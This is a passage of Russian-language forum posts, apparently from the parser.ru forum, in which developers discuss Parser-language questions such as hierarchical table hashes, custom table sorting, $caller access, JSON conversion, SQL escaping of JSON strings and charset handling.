В любом случае мне кажется у вас вполне обычная тикет система с древовидной структурой в 3 уровня. То что вы пытаетесь сделать сейчас очень похоже на велосипед.\
\
Да и боретесь вы с какой-то проблеммой, не правильной. Данные надо разделить при выводе, это же отчеты. По идеи тот кто анализирует, изначально не будет углубляться во все эти дебри, они видит заказ и статус выполнено, все он в него дальше не пойдет. А если не выполнено, то можно по аяксу его развернуть и вывести доп информацию.\
Да и вообще добавить фильтров по статусам.\
\
Также если данных уж очень много, есть смысл добавить расчетные поля, которые будут обновляться при изменении информации. Зачем каждый раз считать, то что не меняется?\
\
Попробуйте все таки перестроить модель хранения данных и тогда вы сможете полностью использовать ресурсы БД.\
\
Ведь при добавление статусов и расчетных полей, все что надо для аналитики можно получить одним запросом, а при необходимости углубления дополнительными."
"81226","Проблема в том, что все (заказы, заявки и подключения) надо выводить сразу при построении отчетов, поэтому расчетные поля тут не помогут.\
Данные постоянно меняются как по заказам, так и по заявкам и подключениям.\
\
Попробую иначе: надо выбрать 1000 заказов, а по ним 5000 дочерних заявок строк со структурой `номер_родительской_заявки`, `тип_дочерней_заявки`, `номер_дочерней_заявки`, `статус` (забудем пока про подключения).\
Надо вывести данные блоками:\
1. Блок Заказ.\
2. В п. 1 блок Тип дочерней заявки.\
3. В п. 2 блок Дочерняя заявка.\
4. Статус.\
\
Как с минимальными затратами это все сделать с выводом количества записей по каждому из пунктов, т.е.\
Заказ 1\
- 3 типа дочерних заявок\
- - 15 дочерних заявок\
...\
?"
"81228","можно отсортировать дочерние заявки по коду заказа.\
Делать menu по заказам, а по дочерним заявкам делать просто offset+1, до того момента пока в списке код заявки совпадает с дочерней заявкой.\
Таким образом вы пройдетесь по этим данным только один раз.\
Ну количество можно считать по время offset, если вывод количества требуется до списка, то вывод складывать в переменную, выводить сумму и потом содержимое переменной."
"81230","Заказы отсортированы по номеру или другому полю, а связка идет по номеру заявки."
"81231","сделайте left join, а выборку делайте только из дочерних заявок"
"81232","LEFT JOIN заявок к заказам делать нельзя из-за нагрузки (ранее об этом писал)."
"81233","да, она наконец внесла небольшое пояснение, что такое `номер_родительской_заявки`, но она также породила кучу вопросов, самый главный из которых -- каков смысл связи между заказами и заявками.\
\
- `заказы`.`номер заявки` имеет тип varchar, при этом `заявки`.`номер_дочерней_заявки` имеет тип int.\
- ни одно из этих полей не является PK\
- но при всём этом, согласно схеме, эти таблицы связаны по данным полям (разных типов, без ключей), причём как многие ко многим. wtf? тут точно нет ошибки?\
\
[quote]\
Весь замысел был в том, что можно взять, например, таблицу дочерних заявок и сделать из нее упорядоченную структуру, даже без выбора лишних данных, например:\
номер_родительской_заявки\
тип_дочерней_заявки\
номер_дочерней_заявки\
[/quote]\
\
что такое тип_дочерней_заявки? :)\
\
[quote]\
В этом случае можно получать данные по нужным уровням хеша, а в случае таблицы - только locate.\
Хеш таблиц запросом или методом hash по документации можно получить только для одного уровня.\
[/quote]\
\
по идее хэш таблиц -- это и так многоуровневая структура со связью родитель-ребёнок по одному полю.\
создать хэш таблиц руками -- дело не хитрое. создать многоуровневый хэш таблиц или хэш таблиц с вычисляемым ключём -- тоже. делается это в один проход таблицы.\
зачем вы постоянно упоминаете locate -- я не знаю. его в коде быть вообще не должно в 99.9% случаях :)\
\
P.S. приведите пример данных исходной таблицы (строк 10 данных) и многоуровневого хеша таблиц с этими-же данными, который вы хотели-бы получить."
"81234","Иногда бывает необходимо отсортировать таблицу более чем по одной колонке.\
Данных не много и использовать БД только для сортировки не хочется.\
\
Прошу рассмотреть возможность сортировки функцией, которая бы получала пару сравниваемых строк таблицы в виде хешей и возвращала 1/0/-1.\
По аналогии с функцией сортировки в JS.\
\
[code]^table.sort[$function]\
\
@function[row1;row2]\
…\
$result(-1|0|1)[/code]"
"81235","[quote]- `заказы`.`номер заявки` имеет тип varchar, при этом `заявки`.`номер_дочерней_заявки` имеет тип int.[/quote]\
Об этом писал ранее, почему так: в поле с номером заявки в зависимости от типа заказа может писаться число (связь с заявками) и текст.\
В планах вынести в отдельное поле числовое значение.\
[quote]- ни одно из этих полей не является PK\
- но при всём этом, согласно схеме, эти таблицы связаны по данным полям (разных типов, без ключей), причём как многие ко многим. wtf? тут точно нет ошибки?[/quote]\
Заказы: может быть несколько заказов с одним номером заявки.\
Заявки: на один номер родительской заявки может быть много дочерних заявок.\
Индексы есть, но они не являются уникальными.\
[quote]что такое тип_дочерней_заявки? :)[/quote]\
Тип дочерней заявки - это вид оказываемой услуги.\
Если не ошибаюсь, об этом уже писал ранее.\
[quote]создать многоуровневый хэш таблиц или хэш таблиц с вычисляемым ключём -- тоже. делается это в один проход таблицы.[/quote]\
Это второй пример метода, где все собирается за один проход.\
[quote]зачем вы постоянно упоминаете locate -- я не знаю. его в коде быть вообще не должно в 99.9% случаях :)[/quote]\
Есть заказ с 10 дочерними заявками, по которым есть подключения.\
На одну дочернюю заявку может быть несколько подключений по разным заказам, поэтому при прокручивании дочерних заявок найти, было ли подключение по текущему заказу, можно только через locate.\
[quote]P.S. приведите пример данных исходной таблицы (строк 10 данных) и многоуровневого хеша таблиц с этими-же данными, который вы хотели-бы получить.[/quote]\
[code]INSERT INTO `заказы` (`код`,`номер_заявки`) VALUES (1,'111'),(2,'222'),(3,'333'),(4,'444'),(5,'222');\
INSERT INTO `заявки` (`номер_родительской_заявки`,`номер_дочерней_заявки`) VALUES (111,111111),(111,111112),(111,111113),(222,222222),(222,222223),(444,444444),(444,444445),(444,444446),(444,444447);\
INSERT INTO `подключение_заявок` (`номер_дочерней_заявки`,`номер_заказа`) VALUES (111112,0),(222222,2),(222223,2),(222223,5),(444445,4),(444447,4);[/code]\
Если выбрать в одном запросе заявки и подключения, то получаем:\
[code]номер_родительской_заявки\
	111\
		номер_дочерней_заявки\
			111111\
				номер_заказа\
			111112\
				номер_заказа\
					0==>[table]\
			111113\
				номер_заказа\
	222\
		номер_дочерней_заявки\
			222222\
				номер_заказа\
					2=>[table]\
			222223\
				номер_заказа\
					2=>[table]\
					5=>[table]\
	444\
		номер_дочерней_заявки\
			444444\
				номер_заказа\
			444445\
				номер_заказа\
					4=>[table]\
			444446\
				номер_заказа\
			444447\
				номер_заказа\
					4=>[table][/code]\
Это пример на основе перекрестного запроса, а можно вычислять структуру по одной какой-нибудь таблице, например, заявкам, только уровнями будут номер_родительской_заявки, тип_дочерней_заявки (в схеме отсутствует, приведено для примера), номер_дочерней_заявки.\
[table] в последнем уровне содержит еще набор полей, которые нужны для вывода."
"81236","http://www.parser.ru/docs/lang/?tablesort.htm\
\
\"Функция сортировки - произвольная функция, по текущему значению которой принимается решение о положении строки в отсортированной таблице. Значением функции может быть строка (значения сравниваются в лексикографическом порядке) или число (значения сравниваются как действительные числа).\"\
\
Насколько понимаю, ^t.sort{$t.row1 $t.row2} даст требуемый результат, разве что вместо пробела может потребоваться указать неиспользуемый в данных символ в качестве разделителя."
"81237","Сортировка может требоваться по разным типам колонок, с разным направлением.\
\
Имеющаяся функция помогает только в самых примитивных случаях сортировки по некой конкатенации значений с одним типом и направлением."
"81238","[quote]самых примитивных случаях[/quote]\
\
Боюсь таких большинство. :) На самом деле думаю основная причина, почему сделано именно так - текущая реализация существенно быстрее, парсерный код вызывается ровно N раз (для каждой строки), а далее уже на С выполняется сама сортировка. В предложенном варианте парсерный код будет вызываться порядка N*(log N) раз, при каждом сравнении двух строк таблицы...\
\
Но в общем сделать так можно, если никто возражать не будет, добавим в to-do."
"81239","ничего не мешает написать функцию, возвращающую \"вес\" строки в зависимости от её параметров или результирующую строку, которая будет скармливаться qsort-у:\
[code]\
^table1.sort{^fstr[$t.fields]}\
^table2.sort(^fint[$t.fields])\
\
@fstr[h]\
$result[^h.num.format[%05d]=$h.str]\
\
@fint[h]\
$result($h.num1*1000+$h.num2)\
[/code]\
\
поэтому я не вижу необходимости добавлять крайне неэффективный механизм сортировки."
"81240","[code]\
@main[]\
^connect[$SQL.connect-string-test]{\
	$tЗаявки[^table::sql{SELECT * FROM `заявки`}]\
	$tЗаказы[^table::sql{SELECT * FROM `заказы`}]\
	$tПодключения[^table::sql{SELECT * FROM `подключение_заявок`}]\
}\
\
$hЗаявки[^tЗаявки.hash[номер_родительской_заявки][$.type[table] $.distinct(true)]]\
$hЗаказы[^tЗаказы.hash[код][$.type[table] $.distinct(true)]]\
$hПодключения[^tПодключения.hash[номер_дочерней_заявки][$.type[table] $.distinct(true)]]\
\
<ul>\
^hЗаявки.foreach[k;v]{\
	<li>\
		$k\
		<ul>\
			^v.menu{\
				<li>\
					$v.номер_дочерней_заявки\
					$t[$hПодключения.[$v.номер_дочерней_заявки]]\
					^if($t){\
						<ul>\
							^t.menu{\
								<li>\
									$t.номер_заказа\
									^if($hЗаказы.[$t.номер_заказа]){- table with ^hЗаказы.[$t.номер_заказа].count[] item(s)}\
								</li>\
							}\
						</ul>\
					}\
				</li>\
			}\
		</ul>\
	</li>\
}\
</ul>\
[/code]"
"81242","но можно добавить такой вариант вызова:\
[code]^table.sort[$method][/code]\
\
в этом случае в потрохах _sort-а можно делать не r.process_to_value, а store_params(таблица с установленным указателем текущей строки) + r.execute_method. и поиск метода и store_params будут делаться вне цикла, т.е. оно должно получиться быстрее текущеё реализации."
"81243","[quote]	$tЗаявки[^table::sql{SELECT * FROM `заявки`}]\
	$tЗаказы[^table::sql{SELECT * FROM `заказы`}]\
	$tПодключения[^table::sql{SELECT * FROM `подключение_заявок`}][/quote]\
Если бы выборки из базы были без условий, то можно было сразу выбирать хеш таблиц запросом.\
\
1. Выбрать заказы.\
2. Прокрутить заказы в цикле для получения списка номеров родительских заявок.\
3. Выбрать заявки по списку из п. 2.\
4. Прокрутить заявки в цикле для получения списка номеров дочерних заявок.\
5. Выбрать подключения по этому из п. 4.\
\
Смущают п. 2 и п. 4.\
\
Самое главное, что надо выводить:\
1. Количество всех подключенных дочерних заявок.\
2. Количество дочерних заявок, подключенных по данному заказу.\
3. ...\
Вот тут как раз и начинается свистопляска:\
[code]$tTemp[^hЗаявки.[номер_родительской_заявки].select(^hПодключения.contains[$hЗаявки.[номер_родительской_заявки].номер_дочерней_заявки])]\
^if(^hПодключения.[$hЗаявки.[номер_родительской_заявки].номер_дочерней_заявки].locate[номер_заказа;$tЗаказы.код]){}\
...[/code]\
Можно, конечно, в цикле прокручивать все дочерние заявки, все подключения по ним и формировать хеш с нужными данными, но потом снова придется все это крутить для вывода в зависимости от полученных данных.\
\
В связи с этим и возник вопрос насчет хеша хешей ... таблиц.\
Получил раз из таблицы дочерних заявок и подключений, а потом:\
[code]^hData.[номер_родительской_заявки]._count[]\
^hData.[номер_родительской_заявки].[номер_дочерней_заявки]._count[]\
$hData.[номер_родительской_заявки].[номер_дочерней_заявки].[номер_заказа].[поле с данными о подключении][/code]"
"81244","Не совсем понимаю, как имея дело с одной строкой, корректно высчитать такой вес.\
К примеру, если необходимо отсортировать по разным строковым колонкам в разном порядке.\
\
Для оценки нужна пара строк, которой манипулирует qsort."
"81245","Да, согласен."
"81246","Quick sort на Парсере.\
\
[code]@sort[table;compare][locals]\
$data[^table.hash(^table.offset[])[$.type[table]]]\
$result[^table::create[$table;$.limit(0)]]\
\
^qsort[$data;$compare](0;$table - 1)\
\
^data.foreach[;row]{\
	^result.join[$row]\
}\
\
\
@qsort[data;compare;left;right][locals]\
$base(($left + $right) \\ 2)\
$baserow[$data.$base.fields]\
\
$l($left)\
$r($right)\
\
^while($l <= $r){\
	^while(^compare[$data.$l.fields;$baserow] < 0){\
		^l.inc[]\
	}\
\
	^while(^compare[$data.$r.fields;$baserow] > 0){\
		^r.dec[]\
	}\
\
	^if($l <= $r){\
		$tmp[$data.$l]\
		$data.$l[$data.$r]\
		$data.$r[$tmp]\
\
		^l.inc[]\
		^r.dec[]\
	}\
}\
\
^if($left < $r){\
	^qsort[$data;$compare]($left;$r)\
}\
^if($l < $right){\
	^qsort[$data;$compare]($l;$right)\
}[/code]\
\
Пример функции сравнения:\
[code]@compare[one;two][locals]\
$result(0)\
\
$conditions[\
	$.a[\
		$.type[int]\
		$.order[asc]\
	]\
	$.b[\
		$.type[string]\
		$.order[desc]\
	]\
]\
\
^conditions.foreach[column;properties]{\
	^if($result == 0){\
		^switch[$properties.type]{\
			^case[int]{\
				^if($one.$column > $two.$column){\
					$result(1)\
				}($one.$column < $two.$column){\
					$result(-1)\
				}\
			}\
			^case[string;DEFAULT]{\
				^if($one.$column gt $two.$column){\
					$result(1)\
				}($one.$column lt $two.$column){\
					$result(-1)\
				}\
			}\
		}\
\
		^if($properties.order eq 'desc'){\
			$result(-$result)\
		}\
	}\
}[/code]\
\
Пример:\
[code]$table[^table::create{a	b}]\
\
^for[i](1;100){\
	^table.append{^math:random(10)	^math:uid64[]}\
}\
\
$sorted[^sort[$table;$compare]][/code]"
"81247","Имеет смысл написать вспомогательный метод, который по conditions сделает текст функции сравнения, откомпилирует его и вернет ссылку на функцию."
"81248","Когда-то давно [url=\"http://www.parser.ru/forum/?id=15970\"]подобный вопрос уже поднимался[/url].\
\
PAF сказал «[url=\"http://www.parser.ru/forum/?id=16000\"]получается неизящно[/url]».\
Sumo считает, что вероятны проблемы со сборкой мусора и делать передачу ресурсоёмко.\
\
Быть может, поменялось что-либо за 12 лет?\
С рекурсией или вложенностью очень неудобно без возможности передать методу ссылку на caller."
"81249","Используйте $caller.self, вполне работает...\
\
[code]@main[]\
\
$test[value]\
^m[]\
\
@m[]\
^m2[$caller.self]\
\
@m2[p]\
^json:string[$p]\
[/code]"
"81250","[code]@main[]\
^load[http://www.parser.ru/forum/;response]{\
# ^loadIfModified[^date::now(-1);http://www.parser.ru/forum/;response]{\
	loaded, ^response.text.length[]=$response.CLASS_NAME\
}{\
	error\
}\
\
\
@load[URL;variable;success;error;headers;_caller]\
^if(!def $_caller){\
	$_caller[$caller.self]\
}\
\
^try{\
	$file[^file::load[text;^taint[as-is;$URL]][\
		$.headers[$headers]\
	]]\
\
	$_caller.$variable[$file]\
\
	in load: ^response.text.length[]=$response.CLASS_NAME\
\
	$success\
}{\
	$exception.handled(true)\
	$error\
}\
\
\
@loadIfModified[date;URL;variable;success;error]\
^load[$URL;$variable;$success;$error][\
	$.if-modified-since[$date]\
][$caller.self][/code]\
\
Код условный, но суть в том, что обёртка вызывает метод, который пишет в caller и его нужно как-то передать оборачиваемой функции.\
\
load — работает, обёртка loadIfModified — нет."
"81251","ведь это ссылка на объект, из которого происходит вызов, а в рассматриваемом случае хочется доступа к локальным переменным вызывающего метода.\
\
в общем указателя на текущий метод, который бы можно было куда-то передать, не существует. поэтому единственный вариант -- ручное копирование.\
\
пример (предположим, что у нас есть только ^while, и мы хотим с его помощью написать mysteppedfor, а затем, используя последний, реализовать сверху ещё и myfor):\
\
[code]\
@main[][n]\
^myfor[n](2;4){$n<br />}\
done.\
\
\
@myfor[name;from;to;code][i]\
^mysteppedfor[i]($from;$to;1){$caller.[$name]($i)$code}\
\
\
@mysteppedfor[name;from;to;step;code]\
$caller.[$name]($from)\
^while($caller.[$name] <= $to){$code^caller.[$name].inc($step)}\
[/code]\
\
внутри mysteppedfor будет происходить запись значения итератора в локальную переменную вызывающего метода, имя которого передано этому методу. т.е. в myfor мы заводим свою локальную переменную, в которую будет писать вызываемый mysteppedfor и потом ручками в теле вызова переписываем значение из этой локальной в вызывающий метод.\
\
так, по моему, стоит делать в единственном случае: у нас есть метод, который пишет в $caller.$name, который мы используем сейчас, который мы хотим продолжать использовать из нашего метода и который мы не хотим менять (например метод чужого класса).\
\
если мы пишем своё, то проще передать вглубь какой-нить объект (хэш), в котором и будет происходить накопление результата, а не заниматься записью результата вверх по цепочке caller-ов."
"81252","Копирование — да, вариант, но тоже не слишком элегантный.\
\
Тут вопрос в том, почему нельзя передавать ссылку на caller. Тогда это была бы не «цепочка caller'ов», а единственная ссылка на первый контекст.\
\
[quote]если мы пишем своё, то проще передать вглубь какой-нить объект (хэш), в котором и будет происходить накопление результата, а не заниматься записью результата вверх по цепочке caller-ов[/quote]\
\
Есть, к примеру, итератор, перебирающий номера страниц постраничной навигации.\
При этом как рендерить ссылку на страницу он понятия не имеет, ему передают код, который всё сделает сам.\
Коду, понятно, нужно знать текущую страницу и подобное, тут без caller'а не обойтись.\
Ну, или передавать итератору ссылку на метод, и его уже будет звать итератор, передавая нужное для отрисовки ссылки параметрами, что не так элегантно."
"81253","Вот так - вроде как работает. Проблема в том, что у вас код передается параметром. А в вызове load из loadIfModified он передается уже строкой, то есть код параметра исполняется до вызова метода load. Естественно тогда $response еще пуст.\
\
[code]@main[]\
#^if(^load[http://www.artlebedev.ru/;response]){\
^if(^loadIfModified[^date::now(-1);http://www.artlebedev.ru/;response]){\
    loaded, ^response.text.length[]=$response.CLASS_NAME\
}{\
    error\
}\
   \
   \
@load[URL;variable;headers;_caller]\
^if(!def $_caller){\
    $_caller[$caller.self]\
}\
\
^try{\
    $file[^file::load[text;^taint[as-is;$URL]][\
        $.headers[$headers]\
    ]]\
\
    $_caller.$variable[$file]\
\
    in load: ^response.text.length[]=$response.CLASS_NAME\
\
    $result(1)\
}{\
    $exception.handled(true)\
    $result(0)\
}\
\
@loadIfModified[date;URL;variable]\
$result(^load[$URL;$variable][\
    $.if-modified-since[$date]\
][$caller.self])\
[/code]"
"81254","Да, ошибся со строкой.\
\
Если передавать как код — работает.\
\
Однако $caller.self — это же ссылка на объект, а не на контекст, соответственно в данном примере метод пишет в поле $MAIN:response.\
А хотелось бы писать в локальную переменную вызывающего метода."
"81255","К сожалению, $caller достаточно хитрая сущность, поэтому ее невозможно получить в \"чистом виде\". :( $x[$caller] запишет в $x текущий результат вызывающего метода, а не объект $caller. $caller.self предложил, поскольку при отсутствии в локальных переменных вызовы дальше обычно идут в $self (MAIN или текущий объект) и результат будет какой надо. :)\
\
Но можно завести например ^reflection.locals[пусто|caller], который бы возвращал хеш с локальными переменными вызвавшего его метода или локальными переменными $caller, который можно менять (по аналогии с ^reflection:fields[объект])."
"81256","Хотелось бы понять сложности передачи caller'а.\
Если проблема в сборке мусора, быть может новый libgc чем-то поможет."
"81257","Сложности не в передаче, сложность в обращении к нему. [$caller] - это результат работы метода, а не сам method_frame. Ну например как хеш в контексте выражения ($хеш) это число элементов в нем. Но если [$хеш] это уже сам хеш, то для method_frame нет способа получить самого себя."
"81258","Быть может, возвращать в виде себя тот самый хэш, с возможностью изменения?\
Мне кажется это лучше ^reflection.locals[пусто|caller], и совместимо с текущим $caller."
"81259","[code]\
Есть, к примеру, итератор, перебирающий номера страниц постраничной навигации.\
При этом как рендерить ссылку на страницу он понятия не имеет, ему передают код, который всё сделает сам.\
Коду, понятно, нужно знать текущую страницу и подобное, тут без caller'а не обойтись.\
[/code]\
\
я бы не стал утверждать, что без caller-а не обойтись.\
caller сам по себе штука странная и код вызывающегося метода через caller может поломать логику вызываемого метода (он же может записать не только в $caller.$name, но и в $caller.result, а также в $caller.$another_local_var_that_must_not_be_changed_by_external_code), поэтому я бы трижды подумал, прежде чем использовать caller сообще."
"81260","Ну, по-моему это лучше, чем нелокальные переменные метода, или вызов коллбека с заданными параметрами.\
\
Масса нативного в Парсере работает по схеме caller'а, это вполне удобно. И оно тоже может поломать работу кода, разве ж это повод к претензиям к инструменту."
"81261","Всем привет. У вас утро, а у нас еще вечер, поэтому туплю.\
^math:floor(($MAIN:now - $birthdate) / 365.25 ) не всегда работает, потому что диапазон допустимых дат невелик."
"81262","[url=\"http://www.parser.ru/examples/cdate/http://\"]http://www.parser.ru/examples/cdate/[/url]http://www.parser.ru/examples/cdate/\
\
+ Я бы учел то что, те кто родился в декабре, например, у вас резко \"постареют\" уже через месяц.\
\
[code]\
^if($MAIN:now.year > $birthdate.year){\
    ^if(($MAIN:now.month < $birthdate.month)||(($MAIN:now.month == $birthdate.month)&&($MAIN:now.day < $birthdate.day))){\
    $age($MAIN:now.year - $birthdate.year - 1)\
}{\
    $age($MAIN:now.year - $birthdate.year)\
}                                                                                                                    \
}{\
$age(0)\
}                                                     \
[/code]"
"81263","Ссылка криво вставилась"
"81264","[quote]Я бы учел то что, те кто родился в декабре, например, у вас резко \"постареют\" уже через месяц.[/quote]\
\
Не постареют.\
Разность дат в днях, её делят на среднее количество дней  в году.\
\
\
Другое дело, что это не очень точно, но для возраста, да с учётом округления подойдёт.\
Сложность только в диапазоне дат.\
\
Плюс, можно добавить один день к результату, чтобы полный год добавлялся уже в день рождения, а не на следующий день.\
[code]^math:floor(($now - $birthdate + 1) / 365.25)[/code]"
"81265","Поспешил, потом проверил сам:\
местами будет погрешность в один день"
"81266","Мне кажется, что возвращение строки с текущим результатом при обращении к $caller достаточно случайно получившееся поведение. И действительно можно сделать, чтобы $caller сохранялся как объект (метод get_string у него использовался только в одном месте). Но подумав понял, что разрешать такое нельзя - method_frame стековый объект, а так получится возможность его сохранить и обратиться к нему после завершения работы метода, что потенциально приведет к GPF. Вернуть локальные переменные к сожалению нельзя, при записи в контекст сохраняется либо сам объект, либо его строковое представление."
"81267","[quote]Но подумав понял, что разрешать такое нельзя - method_frame стековый объект, а так получится возможность его сохранить и обратиться к нему после завершения работы метода, что потенциально приведет к GPF. Вернуть локальные переменные к сожалению нельзя, при записи в контекст сохраняется либо сам объект, либо его строковое представление.[/quote]\
\
А если ситуацию обращения к объекту после работы метода отслеживать и ругаться, по аналогии с junction outside of context?"
"81268","Увы, там это делается ценой регистрации и последующей маркировки всех junctions. Ну и сами junctions не стековые. В случае method_frame маркировать нечего - место в стеке уже используется чем-то другим. Можно конечно делать method_frame в хипе, но это заметно увеличит расход памяти (поскольку память будет аллоцироваться при каждом вызове парсерного метода). Мне кажется это явно того не стоит. :)"
"81269","[бросает ушанку, выходит из треда]"
"81270","Я подумал, что можно сделать враппер в method_frame и при запросу к caller возвращать именно его, но все равно это небольшое замедление работы - дополнительные проверки в конструкторе и деструкторе."
"81271","Надобность всё же редкая, пожалуй, замедлять всё ради неё не стоит.\
Изредка будем обходиться костылями."
"81272","Добрый день. Подскажите,пожалуйста, как превратить таблицу вида\
\
$table[^table::create[nameless]{a\
b\
c\
d}]\
\
в json вида\
\
{\
table: ['a', 'b', 'c', 'd']\
}\
\
Никак не получается сообразить. Следующий код, понятное дело, дает массив объектов, а не строк\
[code]\
$json[ \
	$.table[$table]\
]\
^json:string[$json]\
[/code]"
"81273","Важный момент - в итоговом json есть другие таблицы, которые должны выглядеть в итоге, как массив объектов, а не строк."
"81274","[code]\
CREATE TABLE IF NOT EXISTS `test1` (\
  `id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,\
  `json` TEXT NOT NULL\
);\
\
INSERT INTO `test1` (`id`, `json`) VALUES (1, '');\
[/code]\
\
[code]\
$hParam[\
	$.first[...]\
	$.last[$form:last]\
]\
\
# Все нормально\
^void:sql{\
	UPDATE `test1` \
	SET `json` = '$form:last'\
	WHERE `id` = 1\
}\
\
\
\
$jParam[^json:string[$hParam;$.indent(1)]]\
\
# Все [b]НЕ[/b] нормально\
^void:sql{\
	UPDATE `test1` \
	SET `json` = '$jParam'\
	WHERE `id` = 1\
}\
[/code]\
\
\
Так и должно быть?"
"81275","Если передать в теле $form:last текст, содержащий прямую кавычку."
"81276","[code]\
\
$tData[^table::create[nameless]{a\
b\
c\
d}]\
\
$hData[\
	$.table[^tData.flip[]]\
]\
\
^json:string[$hData;$.indent(1) $.table[compact]]\
[/code]"
"81277","Такое решение выводит все объекты в компактном виде (да еще добавляет один лишний уровень вложенности в массив). Со вторым я бы мог жить, но первое все портит (\
\
Идея в том, что хэш содержит в себе несколько таблиц. При конвертации хэша в json часть таблиц должны превратиться в массив строк, а другая часть - в массив объектов"
"81278","$.table[object|[b]array[/b]|compact]"
"81280","json:string возвращает \"чистую\" строку (для удобства выдачи в HTML). У нас стоит в to-do отметить это в документации. Правильный код для записи результата ^json:string в базу: SET `json` = '^taint[$jParam]'."
"81281","А возможно ли добавить параметр в json:string, например [code]$.taint[тип][/code], который бы указывал, что необходимо выполнить соответствующее преобразование? \
\
А вообще, поведение,  в случае парсера, не вполне очевидное (и открывает дырки для sql-инъекций). Лично я до вчерашнего дня был свято уверен, что преобразование при добавлении в базу делается для [i]всех[/i] элементов, вне зависимости от того, к какому парсерному классу они принадлежат."
"81282","Если данные чистые, то Парсер не должен с ними ничего делать без явной команды программиста.\
\
json:string выполняет экранирование грязных данных по json-стандарту, поэтому результат — чистая строка. Перед тем как положить данные в базу ее надо снова испачкать, чтобы включить автоматический эскейпинг в sql-запросах. Про документацию Костя уже сказал — комменатрий допишем. :)"
"81283","1. сделайте метод @table_to_json[], передайте его в опциях ^json:string[...;$.table[$table_to_json]], в этом методе разрулите какую таблицу как выводить (метод получит имя параметра)\
\
2. создайте класс Array, который суть -- обёртка вокруг table. потом ^json:string[...;$.Array[$method]], при этом $method может выть внутри Array, т.е. будет $.Array[$Array:to-json]. соотв. этот метод будет вызван при сериализации объектов данного типа."
"81284","попробовал реализовать. увы, быстрее не получилось (точнее получилось лишь чуток быстрее)\
^t.sort{код} вообще переплюнуть нереально, т.к. вызов метода -- это поиск метода, подготовка его к вызову (store_params) + выполнение кода. а выполнение кода -- это и есть {код}. т.е. с оно call всегда быдет медленнее.\
\
получившийся ^t.sort[$call] лишь немногим быстрее ^t.sort{^call[]}, т.к. убирается только множественный поиск метода, а он и так быстрый. а вот заполнение переменных для вызова метода всё равно остаётся, т.к. в потрохах у нас нет механизма вызова method frame с одинаковый read context, но разными write context. если это добавить, то это можно будет ускорить, однако я не уверен, что оно нужно, т.к. фактически это будет использоваться только тут, при этом всё равно будет медленнее, чем ^t.sort{code}, а разница между ^t.sort{^call[]} И ^t.sort{code} и сейчас не очень велика."
"81285","[quote]получившийся ^t.sort[$call] лишь немногим быстрее ^t.sort{^call[]}[/quote]\
\
Разовый вызов или все вызовы для сортировки таблицы?\
\
^t.sort[$call] должен же вызываться чаще ^t.sort{^call[]}, который, как понимаю, вызывается ровно столько раз, сколько строк в таблице."
"81286","я замерял время сортировки/потраченную память при сортировки таблицы из 10000 строк (не на один вызов метода). как () и как {}.\
\
^t.sort[$call] -- тут $call тоже будет вызываться на каждую строку, разница только в передачи метода."
"81287","[quote]^t.sort[$call] -- тут $call тоже будет вызываться на каждую строку, разница только в передачи метода[/quote]\
\
Я думал речь о передаче метода в сравнение quicksort, а это только вариант передачи."
"81288","Собственно сабж.\
Правильно ли я понимаю, что:\
\
$response:charset \
1.Перекодирует тело ответа parser'a в кодировку charset\
2.Плюс задает попутно HTTP-заголовок Content-type: ....; charset=\
UPD: (\"Едрид-мадрид\", $response:charset НЕ задает HTTP-заголовка charset??)\
\
\
$response:content-type.charset\
1. Ничего соответственно не перекодирует, а просто принудительно перебивает\
HTTP-Заголовок, а также является приоритенее, т.е. даже если встречается раньше $response:charset, то все равно перетрёт заголовок по части charset\
\
\
$request:charset - вообще \"вспышка слева\", ожидалось, что это в контексте HTTP-запроса от браузера, и туда должно попасть что-нить типа\
Accept-Charset: utf-8 или экзотическое Accept: text/html;charset=utf-8\
\
но это [i]внезапно[/i] кодировка хранения файлов на сервере! \
хотя, наверное, в контексте CGI все входные данные типа это request, поэтому там и args и прочее... но где тогда ловить Accept-Charset?"
"81289","> Правильно ли я понимаю, что:\
\
Да, правильно.\
\
>но где тогда ловить Accept-Charset?\
\
http://www.parser.ru/docs/lang/?envhttpfield.htm\
\
Но вообще в HEAD реализованы $request:headers, где будут заголовки запроса (по аналогии с $response:headers)."
"81290","Да, как и где конкретно ловить, то я понял, это был риторический вопрос к тому, что в области request'a было бы \"красивше\".\
\
Насчет HEAD-версии, понял, спасибо."
"81291","Сабж.\
\
Собственно, есть набор типа Helper-еров и всяких плюшек, разносторонней направленности, которые тем не менее тянутся в контексте проекта, а не \"подхода\" ко всем проектам. Поэтому, объеденины в некоторый статический класс, назовём его Helper, внутри иницаилиазции статического класса хотелось бы перегрузить что-то из MAIN, допустим тот же @unhandled_exeption \
\
в случае, если ошибка вывалится до контура проекта, то сработает базовый подход в config auto.p\
\
[code]\
#--- begin ---\
\
@CLASS\
Helper\
\
@auto[]\
^process[MAIN]{^@unhandled_exception^[exception^;stack^]\
   blah-blah\
}\
\
@some_methods[]\
\
#--- end ---\
[/code]\
\
пишет: \
\
ErrorSource= process\
ErrorType= parser.runtime\
ErrorComment= options param must not be code (parameter #2)\
\
что тоже не понятно, где он в опциях (которые не заданы) - увидел код?\
или просто контекста MAIN не существует еще т.к. это выполняется авто-конструктор вызванный из корневого auto.p ? Поэтому в ответ какой-то сумбур.\
\
А также попутно вопрос по ^process  в документации для опций process'a\
в частности, написано:\
 Также можно указать ряд опций (хеш): \
    $.main[новое имя для метода main, описанного в коде строки]  \
\
 формулировка что-то запутала...  метод @main будет переименован в случае\
если внутри process{ будет таковой описан? } так что ли?"
"81292","Самый простой способ переопределить оператор — декларировать его в нужном месте.\
Для этого достаточно сложить операторы в файл и сделать ^use[файл].\
\
[quote]^process[MAIN]{^@unhandled_exception^[exception^;stack^]\
   blah-blah\
}[/quote]\
\
[code]^process[$MAIN:CLASS]{^@unhandled_exception^[exception^;stack^]\
   blah-blah\
}[/code]\
\
Передавать нужно указатель на класс, а не строку с его именем.\
\
[quote]что тоже не понятно, где он в опциях (которые не заданы) - увидел код?[/quote]\
Раз первый параметр строка, то это код, а второй он считает опциями.\
\
[quote]метод @main будет переименован в случае\
если внутри process{ будет таковой описан? } так что ли?[/quote]\
\
Да, иначе он может переопределить существующий @main.\
А так к нему можно будет обратиться по новому имени."
"81296","Вопрос в том, чтобы жёстко задать/знать что эти поля и значения пришли POST-ом, проверка HTTP_METHOD=GET/POST - не канает, \
т.к. по сути GET если смотреть структурно, то это скорее метод-\"отсутствие метода\", поскольку во-первых не равнозначный, а во-вторых не взаимоисключащий тип запроса по отношению к POST и другим.\
\
